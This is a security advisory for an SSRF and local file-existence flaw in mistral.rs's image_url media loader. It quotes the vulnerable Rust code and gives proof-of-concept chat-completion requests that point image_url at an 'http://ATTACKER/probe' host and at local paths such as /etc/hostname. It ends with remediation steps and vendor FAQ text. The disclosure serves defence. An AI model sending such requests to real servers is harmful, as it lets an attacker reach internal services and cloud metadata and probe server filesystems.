GHSA-WFGQ-W7CQ-QJ7J

mistral.rs Media Loader: Unauthenticated SSRF and arbitrary local file read via image_url

let url = if let Ok(url) = url::Url::parse(url_unparsed) {
    url
} else if File::open(url_unparsed).await.is_ok() {            // a bare existing path (relative or absolute)
    url::Url::from_file_path(std::path::absolute(url_unparsed)?) ...
} else { bail!(...) };

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    reqwest::get(url.clone()).await ...                       // SSRF: no host/IP/allowlist check
} else if url.scheme() == "file" {
    File::open(path).await ... read                           // arbitrary local file read
} else if url.scheme() == "data" { ... base64 ... };

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"http://ATTACKER/probe"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/etc/hostname"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "The image format could not be determined"

POST /v1/chat/completions
{"model":"<vlm>","messages":[{"role":"user","content":[
  {"type":"image_url","image_url":{"url":"/nonexistent"}},
  {"type":"text","text":"hi"}]}],"max_tokens":1}

-> 500, response body message: "Invalid source '/nonexistent': not a valid URL (http/https/data) and file not found on server. ..."

An attacker with network access to a default vision/audio deployment can reach internal services and the cloud metadata endpoint (SSRF, confirmed end to end). The fetched bytes go to a media decoder, not back to the attacker, so the SSRF is blind: egress to attacker-chosen internal hosts is the usable primitive. The loader also opens a request-supplied file:// URL or any existing local path, and the response distinguishes an existing file from a nonexistent path (and an existing non-image file from a directory), giving an unauthenticated file-existence and file-type oracle over the server filesystem. The file contents are not returned, so this is an existence/enumeration oracle, not content disclosure.

Availability (CVSS A:L): reqwest::get (util.rs:61) uses the default client, which has no timeout, and http_resp.bytes() (util.rs:62) reads the entire response body with no size cap, so an attacker-chosen unbounded or non-responding host exhausts or ties up a worker. The file branch allocates vec![0; metadata.len()] (util.rs:73) before reading, so pointing at a large local file does the same.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

GHSA-WFGQ-W7CQ-QJ7J has a CVSS score of 7.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.18); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

Restrict request-supplied media to http(s) and data:; do not resolve bare strings to local files and do not honor the file scheme from request input (gate any local-media behind an explicit, default-disabled option). Before fetching http(s), resolve the host and reject non-global IPs (private / loopback / link-local / metadata), pin the connection to the validated IP, and re-validate redirects (or disable them). Cap the read size.

1. What is GHSA-WFGQ-W7CQ-QJ7J? GHSA-WFGQ-W7CQ-QJ7J is a high-severity server-side request forgery (SSRF) vulnerability in mistralrs-server-core (rust), affecting versions <= 0.8.17. It is fixed in 0.8.18. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is GHSA-WFGQ-W7CQ-QJ7J? GHSA-WFGQ-W7CQ-QJ7J has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mistralrs-server-core are affected by GHSA-WFGQ-W7CQ-QJ7J? mistralrs-server-core (rust) versions <= 0.8.17 is affected.
4. Is there a fix for GHSA-WFGQ-W7CQ-QJ7J? Yes. GHSA-WFGQ-W7CQ-QJ7J is fixed in 0.8.18. Upgrade to this version or later.
5. Is GHSA-WFGQ-W7CQ-QJ7J exploitable, and should I be worried? Whether GHSA-WFGQ-W7CQ-QJ7J is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-WFGQ-W7CQ-QJ7J is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-WFGQ-W7CQ-QJ7J? Upgrade mistralrs-server-core to 0.8.18 or later.